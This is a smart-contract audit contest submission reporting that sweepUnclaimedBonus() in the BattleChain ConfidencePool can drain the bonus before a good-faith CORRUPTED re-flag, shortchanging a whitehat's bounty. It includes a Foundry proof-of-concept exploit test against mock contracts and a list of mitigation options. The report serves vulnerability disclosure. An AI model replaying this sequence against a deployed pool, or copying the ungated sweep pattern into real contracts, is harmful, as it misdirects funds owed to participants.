BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

sweepUnclaimedBonus() can permanently siphon funds that belong to a good faith attacker's bounty

Author Revealed upon completion

Root + Impact

Description

  • sweepUnclaimedBonus() can permanently siphon funds that belong to a good faith attacker's bounty, undermining the documented safe re‑flag guarantee. This directly contradicts the invariant in no. 4 states(DESIGN.md): ‘claimsStarted’ is a value-movement finality latch. sweepUnclaimedBonus is a value movement function that doesn't honor that latch.


The invariant the contract tries to maintain: no. 4 of the DESIGN.md states the re-flag window (!claimsStarted) exists precisely so the moderator can correct a mistaken outcome "before any participant locks in the wrong distribution," and every value-moving function in the contract is carefully coupled to claimsStarted (claimSurvived, claimExpired, claimCorrupted, claimAttackerBounty when payout>0, sweepUnclaimedCorrupted all set it). sweepUnclaimedBonus() is the one exception, it moves real tokens to recoveryAddress but deliberately does not set claimsStarted.

sweepUnclaimedBonus() is callable while outcome == SURVIVED. If riskWindowStart == 0 at that point (the pool never happened to observe the registry mid‑UNDER_ATTACK/PROMOTION_REQUESTED, plausible for a quiet pool, or when the registry jumps straight to a terminal state), _bonusShare pays every staker 0, so sweepUnclaimedBonus() sweeps the entire totalBonus to recoveryAddress and decrements the live totalBonus variable accordingly:

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}

But flagOutcome(SURVIVED, ...) is explicitly valid even when the registry reads CORRUPTED (no. 8: "out of this pool's scope" case). And crucially, bountyEntitlement for a good-faith CORRUPTED is computed from the live totalBonus at the moment of flagging, with no dependency on riskWindowStart:

snapshotTotalBonus = totalBonus; // re-read fresh, every flagOutcome() call
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;

So the following sequence is possible, entirely within the "safe" pre-claim window (claimsStarted still false throughout):

  1. Registry reads CORRUPTED, but this pool's riskWindowStart == 0 (it never observed the intermediate attack state).

  2. Moderator initially judges the breach out-of-scope and calls flagOutcome(SURVIVED, false, address(0)), valid per no. 8.

  3. Anyone (permissionless, no profit needed, could even be the moderator's own tx, or a bystander) calls sweepUnclaimedBonus(). Since riskWindowStart == 0, this sweeps 100% of totalBonus to recoveryAddress and zeroes totalBonus. claimsStarted stays false.

  4. Moderator reconsiders (new evidence, correction of a scope misjudgment, exactly the case no. 4 says the re-flag window exists for) and calls flagOutcome(CORRUPTED, true, attackerAddr). This succeeds because claimsStarted is still false.

  5. bountyEntitlement is now computed from the already-drained totalBonus (0, or whatever's left), so the named whitehat's bounty is short by exactly the amount that was swept in step 3 permanently, since those tokens already left the contract for recoveryAddress.

For a bad-faith CORRUPTED re-flag this is harmless (both paths route to recoveryAddress anyway), but for a good faith re-flag it silently transfers value that should go to the named attacker/whitehat over to recoveryAddress instead, with no way to reverse it on-chain. This directly contradicts the stated purpose of the claimsStarted gate: a corrective re-flag has let value move on the old (wrong) distribution before the correction landed, just not through a function the code classifies as a "claim."


Likelihood: high

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
​
import {MockERC20} from "./mocks/MockERC20.sol";
import {MockAgreement} from "./mocks/MockAgreement.sol";
import {MockAttackRegistry} from "./mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "./mocks/MockSafeHarborRegistry.sol";
​
/// @title Exploit PoC: sweepUnclaimedBonus() permanently misdirects a good-faith attacker's
/// bounty because it moves real value without gating on `claimsStarted`, while
/// `flagOutcome` is still re-flaggable.
///
/// NOTE ON THIS VERSION: this file only fixes two glue mismatches against the mocks shipped in
/// this repo so it actually compiles — no change to the exploit logic, sequence, or assertions:
/// 1. `MockSafeHarborRegistry` has no constructor; the attack registry must be wired up via
/// `setAttackRegistry(address)` after construction, not passed as a constructor arg.
/// 2. `MockAttackRegistry` exposes `setAgreementState(ContractState)` (single-arg, global —
/// it only tracks one state, not a per-agreement mapping), not `setState(address, ContractState)`.
/// Both were confirmed by actually compiling: the original calls
/// `new MockSafeHarborRegistry(address(attackRegistry))` and `attackRegistry.setState(...)`,
/// neither of which exists on the mocks as written, so the suite never even reached the exploit.
///
/// Sequence reproduced here (see the audit writeup for full rationale):
/// 1. Registry jumps straight from pre-attack to CORRUPTED without this pool ever observing
/// UNDER_ATTACK/PROMOTION_REQUESTED (riskWindowStart stays 0). This is realistic: it's
/// exactly what `instantCorrupt` on the real AttackRegistry produces for any pool that
/// wasn't polled during the brief attack window.
/// 2. Moderator initially (reasonably) judges the breach out-of-scope and flags SURVIVED.
/// This is explicitly valid per the contract (SURVIVED accepts state==CORRUPTED, per
/// docs/DESIGN.md §8) and claimsStarted is still false.
/// 3. Anyone permissionlessly calls sweepUnclaimedBonus(). Because riskWindowStart==0, the
/// ENTIRE bonus pool is "unreserved" and gets swept to recoveryAddress, live `totalBonus`
/// is zeroed, and — critically — `claimsStarted` is NOT set by this call.
/// 4. Moderator reconsiders (the exact scenario docs/DESIGN.md §4 says the re-flag window
/// exists to correct) and re-flags to good-faith CORRUPTED, naming a whitehat. This
/// succeeds because claimsStarted is still false.
/// 5. bountyEntitlement is computed from the now-drained totalBonus, so the named whitehat's
/// bounty is short by exactly the amount that was swept away in step 3 — permanently,
/// since those tokens already left the contract.
contract ConfidencePoolExploitTest is Test {
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarbor;
MockAgreement internal agreement;
​
ConfidencePool internal poolImpl;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
​
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal staker = makeAddr("staker");
address internal whitehat = makeAddr("whitehat");
address internal recoveryAddress = makeAddr("recoveryAddress");
address internal randomBystander = makeAddr("randomBystander");
address internal scopeAccount = makeAddr("inScopeContract");
​
uint256 internal constant STAKE_AMOUNT = 100 ether;
uint256 internal constant BONUS_AMOUNT = 20 ether;
​
function setUp() public {
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
// FIX: MockSafeHarborRegistry has no constructor — wire the attack registry via its setter.
safeHarbor = new MockSafeHarborRegistry();
safeHarbor.setAttackRegistry(address(attackRegistry));
agreement = new MockAgreement(sponsor);
safeHarbor.setAgreementValid(address(agreement), true);
​
poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
bytes memory initData = abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarbor), address(poolImpl), moderator)
);
factory = ConfidencePoolFactory(address(new ERC1967Proxy(address(factoryImpl), initData)));
factory.setStakeTokenAllowed(address(token), true);
​
address[] memory accounts = new address[](1);
accounts[0] = scopeAccount;
​
vm.prank(sponsor);
pool = ConfidencePool(
factory.createPool({
agreement: address(agreement),
stakeToken: address(token),
expiry: block.timestamp + 60 days,
minStake: 1 ether,
recoveryAddress: recoveryAddress,
accounts: accounts
})
);
​
// Fund and approve the staker + a bonus contributor (sponsor, in this case).
token.mint(staker, STAKE_AMOUNT);
token.mint(sponsor, BONUS_AMOUNT);
vm.prank(staker);
token.approve(address(pool), STAKE_AMOUNT);
vm.prank(sponsor);
token.approve(address(pool), BONUS_AMOUNT);
}
​
function test_Exploit_SweepUnclaimedBonus_StealsGoodFaithBounty() public {
// --- Stakers + sponsor fund the pool while registry is pre-attack (NOT_DEPLOYED) ---
vm.prank(staker);
pool.stake(STAKE_AMOUNT);
vm.prank(sponsor);
pool.contributeBonus(BONUS_AMOUNT);
​
assertEq(pool.totalEligibleStake(), STAKE_AMOUNT);
assertEq(pool.totalBonus(), BONUS_AMOUNT);
assertEq(pool.riskWindowStart(), 0, "precondition: risk window never observed");
​
// --- Registry jumps straight to CORRUPTED; nobody polled the pool during UNDER_ATTACK ---
// FIX: MockAttackRegistry only tracks one global state via setAgreementState(ContractState);
// it does not take an agreement address (see mock's own docstring).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
// --- Step 2: moderator (reasonably) judges the breach out-of-scope -> flags SURVIVED ---
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(pool.riskWindowStart(), 0, "still never observed active-risk");
assertFalse(pool.claimsStarted(), "claimsStarted must still be false pre-claim");
​
// --- Step 3: ANYONE permissionlessly sweeps the "unclaimed" bonus ---
uint256 recoveryBalBefore = token.balanceOf(recoveryAddress);
vm.prank(randomBystander);
pool.sweepUnclaimedBonus();
uint256 sweptToRecovery = token.balanceOf(recoveryAddress) - recoveryBalBefore;
​
console2.log("Bonus swept to recoveryAddress *before* any claim:", sweptToRecovery);
assertEq(sweptToRecovery, BONUS_AMOUNT, "entire bonus pool was swept early");
assertEq(pool.totalBonus(), 0, "live totalBonus zeroed by the sweep");
assertFalse(pool.claimsStarted(), "sweepUnclaimedBonus must NOT lock claimsStarted");
​
// --- Step 4: moderator corrects the call -> re-flags good-faith CORRUPTED, names whitehat ---
// This is only possible because claimsStarted is still false, i.e. the contract's own
// "safe to re-flag" window is still open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
​
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertTrue(pool.goodFaith());
assertEq(pool.attacker(), whitehat);
​
uint256 actualEntitlement = pool.bountyEntitlement();
uint256 correctEntitlement = STAKE_AMOUNT + BONUS_AMOUNT; // per docs/DESIGN.md §12
console2.log("bountyEntitlement actually recorded:", actualEntitlement);
console2.log("bountyEntitlement that SHOULD apply per spec (stake+bonus):", correctEntitlement);
assertEq(actualEntitlement, STAKE_AMOUNT, "entitlement silently short by the swept bonus");
assertLt(actualEntitlement, correctEntitlement, "whitehat is shortchanged");
​
// --- Step 5: whitehat claims their (now-reduced) bounty ---
vm.prank(whitehat);
pool.claimAttackerBounty();
​
uint256 whitehatPayout = token.balanceOf(whitehat);
console2.log("Whitehat actually received:", whitehatPayout);
console2.log("Whitehat should have received:", correctEntitlement);
assertEq(whitehatPayout, STAKE_AMOUNT, "whitehat only got the staked principal");
​
// --- Net result: recoveryAddress permanently keeps the bonus that should have gone
// to the named whitehat under a good-faith CORRUPTED resolution. ---
uint256 recoveryFinal = token.balanceOf(recoveryAddress);
console2.log("recoveryAddress final balance (should be ~0 under correct good-faith flow):", recoveryFinal);
assertEq(recoveryFinal, BONUS_AMOUNT, "recoveryAddress wrongfully retains the whitehat's bonus share");
​
// Sanity: this is the actual dollar-for-dollar loss caused purely by call ordering,
// with no change to *what actually happened* on BattleChain (still an in-scope,
// good-faith-attributed corruption) between step 2 and step 4.
assertEq(correctEntitlement - actualEntitlement, sweptToRecovery, "loss == amount swept early");
}
​
/// @notice Control case: same facts, but the moderator gets it right on the FIRST flag
/// (good-faith CORRUPTED immediately, no intervening SURVIVED/sweep detour). Shows the
/// whitehat receives the FULL pool as docs/DESIGN.md §12 specifies, proving the shortfall
/// in the exploit test above is caused by the sweep/re-flag interaction, not by anything
/// inherent to a CORRUPTED resolution.
function test_Control_DirectGoodFaithCorrupted_PaysFullPool() public {
vm.prank(staker);
pool.stake(STAKE_AMOUNT);
vm.prank(sponsor);
pool.contributeBonus(BONUS_AMOUNT);
​
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
​
vm.prank(whitehat);
pool.claimAttackerBounty();
​
assertEq(token.balanceOf(whitehat), STAKE_AMOUNT + BONUS_AMOUNT, "whitehat gets the full pool");
}
}
​

Recommended Mitigation

either (a) have sweepUnclaimedBonus() also respect claimsStarted (accepting the minor 1‑wei-donation griefing risk the current comment is trying to avoid), or (b) don't zero totalBonus/release it to recoveryAddress while a CORRUPTED re-flag is still reachable (e.g., only allow the sweep once riskWindowStart != 0 is permanently known to be un-openable awkward, since it always is post-resolution,so (a) is the cleaner fix), or (c) snapshot the attacker's bounty entitlement independent of any later manipulation of the live totalBonus, e.g. by tracking cumulative-bonus-ever-contributed separately from sweepable excess.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!